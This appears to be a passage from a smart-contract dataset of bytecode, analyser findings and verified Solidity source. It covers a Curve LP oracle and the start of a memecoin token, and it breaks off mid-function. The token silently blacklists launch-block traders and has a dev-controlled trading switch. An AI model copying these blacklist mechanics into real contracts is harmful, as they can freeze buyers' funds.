73ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f455442570000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a7230582094d783684fb8a07740c6d08e63e3a41a753a1b77efaf7a5cf5768efe99c5a91a0029
|
{"success": true, "error": null, "results": {}}
| 4,346 |
0x2b465de3e69a2ec00158f0e3b4614e3582430ab2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// CurveLPOracle.sol
// Copyright (C) 2021 Dai Foundation
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.8.11;
interface AddressProviderLike {
function get_registry() external view returns (address);
}
interface CurveRegistryLike {
function get_n_coins(address) external view returns (uint256[2] calldata);
}
interface CurvePoolLike {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
}
interface OracleLike {
function read() external view returns (uint256);
}
contract CurveLPOracleFactory {
AddressProviderLike immutable ADDRESS_PROVIDER;
event NewCurveLPOracle(address owner, address orcl, bytes32 wat, address pool);
constructor(address addressProvider) {
ADDRESS_PROVIDER = AddressProviderLike(addressProvider);
}
function build(
address _owner,
address _pool,
bytes32 _wat,
address[] calldata _orbs
) external returns (address orcl) {
uint256 ncoins = CurveRegistryLike(ADDRESS_PROVIDER.get_registry()).get_n_coins(_pool)[1];
require(ncoins == _orbs.length, "CurveLPOracleFactory/wrong-num-of-orbs");
orcl = address(new CurveLPOracle(_owner, _pool, _wat, _orbs));
emit NewCurveLPOracle(_owner, orcl, _wat, _pool);
}
}
contract CurveLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "CurveLPOracle/not-authorized");
_;
}
// stopped, hop, and zph are packed into single slot to reduce SLOADs;
// this outweighs the added bitmasking overhead.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "CurveLPOracle/not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (storage slot 0x3)
Feed internal nxt; // Queued price (storage slot 0x4)
address[] public orbs; // array of price feeds for pool assets, same order as in the pool
address public immutable pool; // Address of underlying Curve pool
bytes32 public immutable wat; // Label of token whose price is being tracked
uint256 public immutable ncoins; // Number of tokens in underlying Curve pool
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Stop();
event Start();
event Step(uint256 hop);
event Link(uint256 id, address orb);
event Value(uint128 curVal, uint128 nxtVal);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor(address _ward, address _pool, bytes32 _wat, address[] memory _orbs) {
require(_pool != address(0), "CurveLPOracle/invalid-pool");
uint256 _ncoins = _orbs.length;
pool = _pool;
wat = _wat;
ncoins = _ncoins;
for (uint256 i = 0; i < _ncoins;) {
require(_orbs[i] != address(0), "CurveLPOracle/invalid-orb");
orbs.push(_orbs[i]);
unchecked { i++; }
}
require(_ward != address(0), "CurveLPOracle/ward-0");
wards[_ward] = 1;
emit Rely(_ward);
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint16 _hop) external auth {
uint16 old = hop;
hop = _hop;
if (zph > old) { // if false, zph will be unset and no update is needed
zph = (zph - old) + _hop;
}
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "CurveLPOracle/invalid-orb");
require(_id < ncoins, "CurveLPOracle/invalid-orb-index");
orbs[_id] = _orb;
emit Link(_id, _orb);
}
// For consistency with other oracles
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return zph - hop;
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
// Marked payable to save gas. DO *NOT* send ETH to poke(), it will be lost permanently.
function poke() external payable {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "CurveLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true; logic repeated to save gas.
require(block.timestamp >= zph_, "CurveLPOracle/not-passed");
}
uint256 val = type(uint256).max;
for (uint256 i = 0; i < ncoins;) {
uint256 price = OracleLike(orbs[i]).read();
if (price < val) val = price;
unchecked { i++; }
}
val = val * CurvePoolLike(pool).get_virtual_price() / 10**18;
require(val != 0, "CurveLPOracle/zero-price");
require(val <= type(uint128).max, "CurveLPOracle/price-overflow");
Feed memory cur_ = nxt;
cur = cur_;
nxt = Feed(uint128(val), 1);
// The below is equivalent to:
// zph = block.timestamp + hop
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
shl(24, add(timestamp(), hop_)), // zph value starts 24 bits in
shl(8, hop_) // hop value starts 8 bits in
)
)
}
emit Value(cur_.val, uint128(val));
// Safe to terminate immediately since no postfix modifiers are applied.
assembly { stop() }
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "CurveLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "CurveLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
require(_a[i] != address(0), "CurveLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
unchecked { i++; }
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
unchecked { i++; }
}
}
}
|
0x6080604052600436106101965760003560e01c806365c4ce7a116100e1578063a7a1ed721161008a578063be9a655511610064578063be9a655514610517578063bf353dbb1461052c578063e38e2cfb14610559578063f29c29c41461057957600080fd5b8063a7a1ed7214610430578063a9c52a3914610479578063b0b8579b146104e457600080fd5b806397783a11116100bb57806397783a11146103db5780639c52a7f1146103fb578063a4dff0a21461041b57600080fd5b806365c4ce7a1461036f57806365fae35e1461038f57806375f12b21146103af57600080fd5b806346d4577d1161014357806357de26a41161011d57806357de26a41461032557806359e02dd71461033a57806365af79091461034f57600080fd5b806346d4577d146102a45780634ca29923146102c45780634fce7a2a146102f857600080fd5b80631817835811610174578063181783581461023a5780631b25b65f14610242578063371f8dae1461026257600080fd5b806307da68f51461019b5780630e5a6c70146101b257806316f0115b146101e1575b600080fd5b3480156101a757600080fd5b506101b0610599565b005b3480156101be57600080fd5b506101c761065c565b604080519283529015156020830152015b60405180910390f35b3480156101ed57600080fd5b506102157f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702281565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b6101b061070d565b34801561024e57600080fd5b506101b061025d366004611991565b610b49565b34801561026e57600080fd5b506102967f000000000000000000000000000000000000000000000000000000000000000281565b6040519081526020016101d8565b3480156102b057600080fd5b506101b06102bf366004611991565b610d45565b3480156102d057600080fd5b506102967f435256563145544853544554480000000000000000000000000000000000000081565b34801561030457600080fd5b50610296610313366004611a2f565b60026020526000908152604090205481565b34801561033157600080fd5b50610296610e95565b34801561034657600080fd5b506101c7610fb9565b34801561035b57600080fd5b506101b061036a366004611a51565b61106a565b34801561037b57600080fd5b506101b061038a366004611a2f565b611289565b34801561039b57600080fd5b506101b06103aa366004611a2f565b611362565b3480156103bb57600080fd5b506001546103c99060ff1681565b60405160ff90911681526020016101d8565b3480156103e757600080fd5b506102156103f6366004611a7d565b61142d565b34801561040757600080fd5b506101b0610416366004611a2f565b611464565b34801561042757600080fd5b5061029661152e565b34801561043c57600080fd5b50600154630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1642101560405190151581526020016101d8565b34801561048557600080fd5b506001546104b690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b6040517cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911681526020016101d8565b3480156104f057600080fd5b5060015461050490610100900461ffff1681565b60405161ffff90911681526020016101d8565b34801561052357600080fd5b506101b06115c4565b34801561053857600080fd5b50610296610547366004611a2f565b60006020819052908152604090205481565b34801561056557600080fd5b506101b0610574366004611a96565b611690565b34801561058557600080fd5b506101b0610594366004611a2f565b611841565b33600090815260208190526040902054600114610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a65640000000060448201526064015b60405180910390fd5b6001805460006003819055600481905562ffff0090911682179091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b3360009081526002602052604081205481906001146106d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506004546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b600154600881901c61ffff169060ff81169060181c811561078a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f69732d73746f707065640000000000000000604482015260640161060e565b804210156107f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f6e6f742d7061737365640000000000000000604482015260640161060e565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060005b7f00000000000000000000000000000000000000000000000000000000000000028110156109075760006005828154811061085857610858611aba565b60009182526020918290200154604080517f57de26a4000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216926357de26a4926004808401938290030181865afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190611ae9565b9050828110156108fe578092505b5060010161081b565b50670de0b6b3a76400007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702273ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a09190611ae9565b6109aa9083611b31565b6109b49190611b6e565b905080610a1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f7a65726f2d70726963650000000000000000604482015260640161060e565b6fffffffffffffffffffffffffffffffff811115610a97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f70726963652d6f766572666c6f7700000000604482015260640161060e565b604080518082018252600480546fffffffffffffffffffffffffffffffff8082168085527001000000000000000000000000000000009283900482166020808701829052908402909117600355855180870187528783168082526001918301829052938417909455600888901b42890160181b0190935583518551911681529182015290917f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73910160405180910390a1005b33600090815260208190526040902054600114610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d40576000838383818110610be157610be1611aba565b9050602002016020810190610bf69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b600160026000858585818110610c8c57610c8c611aba565b9050602002016020810190610ca19190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb244838383818110610cfb57610cfb611aba565b9050602002016020810190610d109190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610bc5565b505050565b33600090815260208190526040902054600114610dbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d4057600060026000858585818110610de157610de1611aba565b9050602002016020810190610df69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610e5057610e50611aba565b9050602002016020810190610e659190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610dc1565b33600090815260026020526040812054600114610f0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b60035470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16600114610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f43757276654c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015260640161060e565b506003546fffffffffffffffffffffffffffffffff1690565b336000908152600260205260408120548190600114611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506003546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b336000908152602081905260409020546001146110e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f43757276654c504f7261636c652f696e76616c69642d6f726200000000000000604482015260640161060e565b7f000000000000000000000000000000000000000000000000000000000000000282106111e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f43757276654c504f7261636c652f696e76616c69642d6f72622d696e64657800604482015260640161060e565b80600583815481106111fd576111fd611aba565b60009182526020918290200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff93841617905560408051858152928416918301919091527f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a791015b60405180910390a15050565b33600090815260208190526040902054600114611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260408083209290925590519182527f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c91015b60405180910390a150565b336000908152602081905260409020546001146113db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005818154811061143d57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b336000908152602081905260409020546001146114dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff166115645750600090565b6001546115a090610100810461ffff1690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b7cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905090565b3360009081526020819052604090205460011461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b33600090815260208190526040902054600114611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b6001805461ffff8381166101009081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff8416179384905590910416907cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63010000009091041681101561180d5760015461ffff838116916117b091841690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b6117ba9190611be7565b600160036101000a8154817cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602179055505b60405161ffff831681527fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce928179060200161127d565b336000908152602081905260409020546001146118ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff81166000818152600260209081526040918290206001905590519182527f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449101611357565b600080602083850312156119a457600080fd5b823567ffffffffffffffff808211156119bc57600080fd5b818501915085601f8301126119d057600080fd5b8135818111156119df57600080fd5b8660208260051b85010111156119f457600080fd5b60209290920196919550909350505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114611a2a57600080fd5b919050565b600060208284031215611a4157600080fd5b611a4a82611a06565b9392505050565b60008060408385031215611a6457600080fd5b82359150611a7460208401611a06565b90509250929050565b600060208284031215611a8f57600080fd5b5035919050565b600060208284031215611aa857600080fd5b813561ffff81168114611a4a57600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611afb57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b6957611b69611b02565b500290565b600082611ba4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83811690831681811015611bdf57611bdf611b02565b039392505050565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808316818516808303821115611c1f57611c1f611b02565b0194935050505056fea264697066735822122023cda6d53781a9626362af567c7f70fb5f2097b62b481ce77bc180462f8afd3664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,347 |
0xde65f2bdc86d186d4d41f818ffbf360203c5d159
|
/*
57656c636f6d6520746f20544845204d414348494e45210a4920414d20544845204f4e45210a444f204e4f542055534520424f545321
t.me/themachineERC
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract THEMACHINE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "THE MACHINE";
string private constant _symbol = "MACHINE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1; // reflections
uint256 private _teamFee = 12; //feeding the machine
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
// Bot detection
mapping(address => bool) private rekt;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function toggleFrontrun(bool onoff) external {
require(_msgSender() == _devFund);
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(tradingOpen, "Trading not yet enabled.");
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!rekt[from] && !rekt[to] && !rekt[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (25 seconds);
}
if (block.number == launchBlock) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
rekt[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
rekt[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
